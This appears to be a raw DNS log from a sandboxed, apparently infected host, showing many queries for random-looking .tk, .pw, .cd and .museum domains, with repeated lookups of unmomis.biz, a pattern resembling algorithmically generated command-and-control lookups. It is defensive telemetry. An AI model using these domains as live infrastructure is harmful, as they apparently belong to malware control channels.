Jan 5, 2025 10:49:59.436475039 CET	192.168.2.4	1.1.1.1	0x59fb	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:59.558482885 CET	192.168.2.4	1.1.1.1	0x7c0c	Standard query (0)	kayxoakdacenu.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:59.722038984 CET	192.168.2.4	1.1.1.1	0xf191	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:59.732218027 CET	192.168.2.4	1.1.1.1	0xecd7	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:59.882293940 CET	192.168.2.4	1.1.1.1	0xc20e	Standard query (0)	jwwwlfs.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:59.903616905 CET	192.168.2.4	1.1.1.1	0x6018	Standard query (0)	jwwwlfs.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.024096012 CET	192.168.2.4	1.1.1.1	0xa689	Standard query (0)	erippglyq.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.047854900 CET	192.168.2.4	1.1.1.1	0x3c48	Standard query (0)	erippglyq.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.195518970 CET	192.168.2.4	1.1.1.1	0x94a6	Standard query (0)	okeye.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.210181952 CET	192.168.2.4	1.1.1.1	0xc25f	Standard query (0)	okeye.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.351322889 CET	192.168.2.4	1.1.1.1	0xac1d	Standard query (0)	mccxgnl.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.401134968 CET	192.168.2.4	1.1.1.1	0xeda9	Standard query (0)	mccxgnl.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.539268970 CET	192.168.2.4	1.1.1.1	0x68f0	Standard query (0)	kqqrwe.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.556039095 CET	192.168.2.4	1.1.1.1	0xc51c	Standard query (0)	kqqrwe.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.682327032 CET	192.168.2.4	1.1.1.1	0xb5c6	Standard query (0)	picyeqabm.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.730338097 CET	192.168.2.4	1.1.1.1	0x4a1f	Standard query (0)	picyeqabm.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.851039886 CET	192.168.2.4	1.1.1.1	0xc1de	Standard query (0)	dnumoaakpuaim.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.865310907 CET	192.168.2.4	1.1.1.1	0x5e4e	Standard query (0)	dnumoaakpuaim.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.993293047 CET	192.168.2.4	1.1.1.1	0x2aa3	Standard query (0)	zfsaiskr.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:01.022028923 CET	192.168.2.4	1.1.1.1	0xfe9c	Standard query (0)	zfsaiskr.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:01.148499966 CET	192.168.2.4	1.1.1.1	0xd692	Standard query (0)	njhmvmewskace.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:01.185765028 CET	192.168.2.4	1.1.1.1	0x4313	Standard query (0)	njhmvmewskace.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:01.335905075 CET	192.168.2.4	1.1.1.1	0x8209	Standard query (0)	ycmeufomwa.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:01.352108002 CET	192.168.2.4	1.1.1.1	0xf40e	Standard query (0)	ycmeufomwa.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:01.491383076 CET	192.168.2.4	1.1.1.1	0x6a5b	Standard query (0)	oduoqratgkzcu.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:01.546885014 CET	192.168.2.4	1.1.1.1	0xcc28	Standard query (0)	oduoqratgkzcu.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:02.216128111 CET	192.168.2.4	1.1.1.1	0x3f29	Standard query (0)	wiqkrwokjwsvk.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:02.694792986 CET	192.168.2.4	1.1.1.1	0xef1c	Standard query (0)	wiqkrwokjwsvk.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:02.944801092 CET	192.168.2.4	1.1.1.1	0xc07	Standard query (0)	xjamiok.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:03.130775928 CET	192.168.2.4	1.1.1.1	0x34a3	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:03.142009974 CET	192.168.2.4	1.1.1.1	0xe70b	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:03.258060932 CET	192.168.2.4	1.1.1.1	0x6695	Standard query (0)	josgkcaposdmo.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:03.268373966 CET	192.168.2.4	1.1.1.1	0xe534	Standard query (0)	josgkcaposdmo.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:03.382800102 CET	192.168.2.4	1.1.1.1	0x2a98	Standard query (0)	kkxwhumceoe.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:03.396420002 CET	192.168.2.4	1.1.1.1	0x6bf7	Standard query (0)	kkxwhumceoe.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:03.522959948 CET	192.168.2.4	1.1.1.1	0xb3c3	Standard query (0)	qsqfo.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:03.632508039 CET	192.168.2.4	1.1.1.1	0x502c	Standard query (0)	qsqfo.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:03.868477106 CET	192.168.2.4	1.1.1.1	0xbfa9	Standard query (0)	uuxroicgmfccs.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:03.914988041 CET	192.168.2.4	1.1.1.1	0x9f1f	Standard query (0)	uuxroicgmfccs.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:04.054315090 CET	192.168.2.4	1.1.1.1	0x5077	Standard query (0)	aekkzsosqiwcw.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:04.081480980 CET	192.168.2.4	1.1.1.1	0x9153	Standard query (0)	aekkzsosqiwcw.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:04.213921070 CET	192.168.2.4	1.1.1.1	0xb57e	Standard query (0)	moogrlkkiz.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:04.311999083 CET	192.168.2.4	1.1.1.1	0x5d84	Standard query (0)	moogrlkkiz.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:05.274389029 CET	192.168.2.4	1.1.1.1	0x5539	Standard query (0)	ohedukg.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:05.558743000 CET	192.168.2.4	1.1.1.1	0x28c2	Standard query (0)	ohedukg.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:06.038788080 CET	192.168.2.4	1.1.1.1	0x2b4f	Standard query (0)	asubl.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:06.054297924 CET	192.168.2.4	1.1.1.1	0xbf39	Standard query (0)	asubl.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:06.179582119 CET	192.168.2.4	1.1.1.1	0x22e7	Standard query (0)	fenzso.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:06.221885920 CET	192.168.2.4	1.1.1.1	0xb7d8	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:06.236335039 CET	192.168.2.4	1.1.1.1	0x4240	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:06.352453947 CET	192.168.2.4	1.1.1.1	0x96f2	Standard query (0)	pqfhae.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:06.389826059 CET	192.168.2.4	1.1.1.1	0x42d0	Standard query (0)	pqfhae.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:06.758049965 CET	192.168.2.4	1.1.1.1	0xd7da	Standard query (0)	afxhqqvwyaevec.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:07.627696991 CET	192.168.2.4	1.1.1.1	0xe2d0	Standard query (0)	afxhqqvwyaevec.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:07.944009066 CET	192.168.2.4	1.1.1.1	0x4e40	Standard query (0)	chcgdmegy.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:07.992503881 CET	192.168.2.4	1.1.1.1	0x4f67	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:08.003393888 CET	192.168.2.4	1.1.1.1	0xd725	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:08.117280960 CET	192.168.2.4	1.1.1.1	0xcf8c	Standard query (0)	peofsgzewa.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:08.145292997 CET	192.168.2.4	1.1.1.1	0x8dd5	Standard query (0)	peofsgzewa.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:08.273766041 CET	192.168.2.4	1.1.1.1	0x93a4	Standard query (0)	akauuewwtwv.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:08.419291973 CET	192.168.2.4	1.1.1.1	0x2082	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:08.437020063 CET	192.168.2.4	1.1.1.1	0x9229	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:08.554274082 CET	192.168.2.4	1.1.1.1	0x1d9b	Standard query (0)	xjomgiao.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:08.640700102 CET	192.168.2.4	1.1.1.1	0x1597	Standard query (0)	xjomgiao.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:08.820882082 CET	192.168.2.4	1.1.1.1	0x15fe	Standard query (0)	gpslyucvigokt.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:08.841013908 CET	192.168.2.4	1.1.1.1	0x516	Standard query (0)	gpslyucvigokt.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:08.997697115 CET	192.168.2.4	1.1.1.1	0x69b9	Standard query (0)	cqvwmraymjhmw.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:09.096971989 CET	192.168.2.4	1.1.1.1	0xe468	Standard query (0)	cqvwmraymjhmw.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:09.305270910 CET	192.168.2.4	1.1.1.1	0xb287	Standard query (0)	ecnygesclpcwo.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:09.370703936 CET	192.168.2.4	1.1.1.1	0xffc4	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:09.384289980 CET	192.168.2.4	1.1.1.1	0x7586	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:09.493880033 CET	192.168.2.4	1.1.1.1	0x2ce4	Standard query (0)	geqgu.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:09.625196934 CET	192.168.2.4	1.1.1.1	0xdeea	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:09.638946056 CET	192.168.2.4	1.1.1.1	0x556	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:09.773597956 CET	192.168.2.4	1.1.1.1	0xd25b	Standard query (0)	owmir.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:09.815217018 CET	192.168.2.4	1.1.1.1	0x5339	Standard query (0)	owmir.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:09.930674076 CET	192.168.2.4	1.1.1.1	0x5798	Standard query (0)	uyhmsiswo.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:09.972640038 CET	192.168.2.4	1.1.1.1	0xdfcc	Standard query (0)	uyhmsiswo.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:10.195882082 CET	192.168.2.4	1.1.1.1	0xd932	Standard query (0)	usasjvivqgsii.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:10.289746046 CET	192.168.2.4	1.1.1.1	0xbbd9	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:10.317604065 CET	192.168.2.4	1.1.1.1	0x2b66	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:10.441414118 CET	192.168.2.4	1.1.1.1	0xa863	Standard query (0)	kaktcmu.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:11.413563967 CET	192.168.2.4	1.1.1.1	0xee12	Standard query (0)	kaktcmu.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:11.617310047 CET	192.168.2.4	1.1.1.1	0x1850	Standard query (0)	uijwvmkhcqvqs.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:11.744815111 CET	192.168.2.4	1.1.1.1	0xad8f	Standard query (0)	uijwvmkhcqvqs.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:11.944713116 CET	192.168.2.4	1.1.1.1	0x2a03	Standard query (0)	ccudqajgazo.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:12.078005075 CET	192.168.2.4	1.1.1.1	0x5d38	Standard query (0)	ccudqajgazo.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:12.289967060 CET	192.168.2.4	1.1.1.1	0x78d	Standard query (0)	muiocbsvwmfkw.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:12.351670980 CET	192.168.2.4	1.1.1.1	0x51d5	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:12.428046942 CET	192.168.2.4	1.1.1.1	0x2620	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:12.538438082 CET	192.168.2.4	1.1.1.1	0xc519	Standard query (0)	cgaawwkiqauys.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:12.869463921 CET	192.168.2.4	1.1.1.1	0x138e	Standard query (0)	cgaawwkiqauys.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:13.089010000 CET	192.168.2.4	1.1.1.1	0x52ac	Standard query (0)	eakecpgowbswiu.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:13.286472082 CET	192.168.2.4	1.1.1.1	0x86a7	Standard query (0)	eakecpgowbswiu.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:13.665062904 CET	192.168.2.4	1.1.1.1	0x2636	Standard query (0)	wsfiswi.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:13.704109907 CET	192.168.2.4	1.1.1.1	0xe07f	Standard query (0)	wsfiswi.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:13.929378986 CET	192.168.2.4	1.1.1.1	0xf610	Standard query (0)	ukegeqmmf.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:13.959445953 CET	192.168.2.4	1.1.1.1	0x8349	Standard query (0)	ukegeqmmf.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:14.086302996 CET	192.168.2.4	1.1.1.1	0x7693	Standard query (0)	ifsngrccqie.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:14.143903017 CET	192.168.2.4	1.1.1.1	0x7621	Standard query (0)	ifsngrccqie.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:14.257364035 CET	192.168.2.4	1.1.1.1	0x7dd7	Standard query (0)	yzgeeyowuwugkr.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:14.302392960 CET	192.168.2.4	1.1.1.1	0x31d	Standard query (0)	yzgeeyowuwugkr.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:14.435326099 CET	192.168.2.4	1.1.1.1	0x7d2f	Standard query (0)	pdijvoi.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:14.495681047 CET	192.168.2.4	1.1.1.1	0xb108	Standard query (0)	pdijvoi.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:14.602191925 CET	192.168.2.4	1.1.1.1	0xd8fe	Standard query (0)	qwiinm.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:14.639096022 CET	192.168.2.4	1.1.1.1	0xbeed	Standard query (0)	qwiinm.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:14.767188072 CET	192.168.2.4	1.1.1.1	0x6fc7	Standard query (0)	micycyca.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:15.049633026 CET	192.168.2.4	1.1.1.1	0x8981	Standard query (0)	micycyca.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:15.200647116 CET	192.168.2.4	1.1.1.1	0x492b	Standard query (0)	yvgismmxlhoqhp.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:15.273088932 CET	192.168.2.4	1.1.1.1	0xf3ab	Standard query (0)	yvgismmxlhoqhp.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:15.399003029 CET	192.168.2.4	1.1.1.1	0xb21e	Standard query (0)	agrgign.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:15.421227932 CET	192.168.2.4	1.1.1.1	0xd837	Standard query (0)	agrgign.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:15.523288965 CET	192.168.2.4	1.1.1.1	0x12a5	Standard query (0)	iilazc.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:15.547530890 CET	192.168.2.4	1.1.1.1	0x8dd4	Standard query (0)	iilazc.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:15.664490938 CET	192.168.2.4	1.1.1.1	0xf08d	Standard query (0)	hleyamhkjygwow.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:15.771528959 CET	192.168.2.4	1.1.1.1	0x7bb0	Standard query (0)	hleyamhkjygwow.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:16.742187977 CET	192.168.2.4	1.1.1.1	0x21a0	Standard query (0)	yqnsc.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:17.440900087 CET	192.168.2.4	1.1.1.1	0xf814	Standard query (0)	yqnsc.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:17.847165108 CET	192.168.2.4	1.1.1.1	0x443e	Standard query (0)	eskshcoo.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:17.963473082 CET	192.168.2.4	1.1.1.1	0xcbfd	Standard query (0)	eskshcoo.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:18.085952044 CET	192.168.2.4	1.1.1.1	0x3fef	Standard query (0)	eagamgnhivs.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:18.107242107 CET	192.168.2.4	1.1.1.1	0x7577	Standard query (0)	eagamgnhivs.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:18.210439920 CET	192.168.2.4	1.1.1.1	0x2bc5	Standard query (0)	smnam.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:18.261287928 CET	192.168.2.4	1.1.1.1	0x3490	Standard query (0)	smnam.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:18.632363081 CET	192.168.2.4	1.1.1.1	0x3538	Standard query (0)	gmsekkuoqcibq.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:18.964432955 CET	192.168.2.4	1.1.1.1	0x9977	Standard query (0)	gmsekkuoqcibq.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:19.070244074 CET	192.168.2.4	1.1.1.1	0xd4c8	Standard query (0)	hebqkajxswlgc.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:19.196345091 CET	192.168.2.4	1.1.1.1	0x9d7d	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:19.221354961 CET	192.168.2.4	1.1.1.1	0x3931	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:19.322678089 CET	192.168.2.4	1.1.1.1	0x12aa	Standard query (0)	cqzpqvbhujvch.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:19.358314991 CET	192.168.2.4	1.1.1.1	0xfebe	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:19.366740942 CET	192.168.2.4	1.1.1.1	0x36de	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:19.476732969 CET	192.168.2.4	1.1.1.1	0x3cd1	Standard query (0)	pmkswxeseyzkg.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:19.663007975 CET	192.168.2.4	1.1.1.1	0xa880	Standard query (0)	pmkswxeseyzkg.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:19.788697958 CET	192.168.2.4	1.1.1.1	0x1599	Standard query (0)	esfkk.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:19.930069923 CET	192.168.2.4	1.1.1.1	0x3747	Standard query (0)	esfkk.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.210913897 CET	192.168.2.4	1.1.1.1	0xb974	Standard query (0)	bmtsikcbued.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.261233091 CET	192.168.2.4	1.1.1.1	0xccaf	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.291347027 CET	192.168.2.4	1.1.1.1	0x24ac	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.397789955 CET	192.168.2.4	1.1.1.1	0x9431	Standard query (0)	dxfqrqrscyyiyb.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.419776917 CET	192.168.2.4	1.1.1.1	0x9dc7	Standard query (0)	dxfqrqrscyyiyb.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.523070097 CET	192.168.2.4	1.1.1.1	0x4418	Standard query (0)	kerqxnda.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.610660076 CET	192.168.2.4	1.1.1.1	0x6aad	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.637866020 CET	192.168.2.4	1.1.1.1	0xcba7	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.750613928 CET	192.168.2.4	1.1.1.1	0xdcba	Standard query (0)	irqtakc.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.801465034 CET	192.168.2.4	1.1.1.1	0x4dc0	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.825246096 CET	192.168.2.4	1.1.1.1	0xa843	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:20.929733992 CET	192.168.2.4	1.1.1.1	0xf135	Standard query (0)	dwsqu.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:21.209330082 CET	192.168.2.4	1.1.1.1	0xfd0c	Standard query (0)	dwsqu.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:21.351722002 CET	192.168.2.4	1.1.1.1	0xde59	Standard query (0)	awgiouqsgbx.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:21.431617975 CET	192.168.2.4	1.1.1.1	0x1cc0	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:21.454040051 CET	192.168.2.4	1.1.1.1	0x9af9	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:21.554641962 CET	192.168.2.4	1.1.1.1	0x8221	Standard query (0)	iqyjfsacgai.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:21.918164968 CET	192.168.2.4	1.1.1.1	0x1f17	Standard query (0)	iqyjfsacgai.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:22.273144007 CET	192.168.2.4	1.1.1.1	0x9d6e	Standard query (0)	ninsrqagoofw.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:22.366121054 CET	192.168.2.4	1.1.1.1	0x2702	Standard query (0)	ninsrqagoofw.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:22.507730007 CET	192.168.2.4	1.1.1.1	0xad36	Standard query (0)	ewzgffn.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:22.551434994 CET	192.168.2.4	1.1.1.1	0x3d05	Standard query (0)	ewzgffn.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:22.694672108 CET	192.168.2.4	1.1.1.1	0x4725	Standard query (0)	yegupyquo.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:22.844763041 CET	192.168.2.4	1.1.1.1	0x69fd	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:22.859261990 CET	192.168.2.4	1.1.1.1	0x89dc	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:22.961981058 CET	192.168.2.4	1.1.1.1	0x9255	Standard query (0)	yoycdsrsexo.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:23.005623102 CET	192.168.2.4	1.1.1.1	0x1395	Standard query (0)	yoycdsrsexo.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:23.370398998 CET	192.168.2.4	1.1.1.1	0xc10f	Standard query (0)	cwkzvvi.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:23.389473915 CET	192.168.2.4	1.1.1.1	0xb2f2	Standard query (0)	cwkzvvi.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:23.491729021 CET	192.168.2.4	1.1.1.1	0xb00e	Standard query (0)	wsulwboaggoyw.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:23.534109116 CET	192.168.2.4	1.1.1.1	0x45b9	Standard query (0)	wsulwboaggoyw.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:23.664051056 CET	192.168.2.4	1.1.1.1	0x604	Standard query (0)	fbcze.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:23.848458052 CET	192.168.2.4	1.1.1.1	0xf11f	Standard query (0)	fbcze.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:24.132365942 CET	192.168.2.4	1.1.1.1	0xbc06	Standard query (0)	mehyfoi.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:24.206166983 CET	192.168.2.4	1.1.1.1	0xb040	Standard query (0)	mehyfoi.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:24.304058075 CET	192.168.2.4	1.1.1.1	0xb566	Standard query (0)	lkmekklwg.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:24.333268881 CET	192.168.2.4	1.1.1.1	0x722b	Standard query (0)	lkmekklwg.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:24.445307016 CET	192.168.2.4	1.1.1.1	0xbc24	Standard query (0)	sugzfsbm.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:24.503637075 CET	192.168.2.4	1.1.1.1	0x1e9	Standard query (0)	sugzfsbm.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:24.601082087 CET	192.168.2.4	1.1.1.1	0x25b0	Standard query (0)	awjmaojcpsttf.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:24.669591904 CET	192.168.2.4	1.1.1.1	0xe9c7	Standard query (0)	awjmaojcpsttf.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:24.813780069 CET	192.168.2.4	1.1.1.1	0x723	Standard query (0)	nkpqerkwk.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:24.927303076 CET	192.168.2.4	1.1.1.1	0xd993	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:24.937719107 CET	192.168.2.4	1.1.1.1	0xd983	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:25.038594007 CET	192.168.2.4	1.1.1.1	0xab91	Standard query (0)	koccoscgsca.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:25.077152014 CET	192.168.2.4	1.1.1.1	0xcabc	Standard query (0)	koccoscgsca.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:25.211035013 CET	192.168.2.4	1.1.1.1	0xc8b7	Standard query (0)	oembqeydq.nu	A (IP address)	IN (0x0001)	false
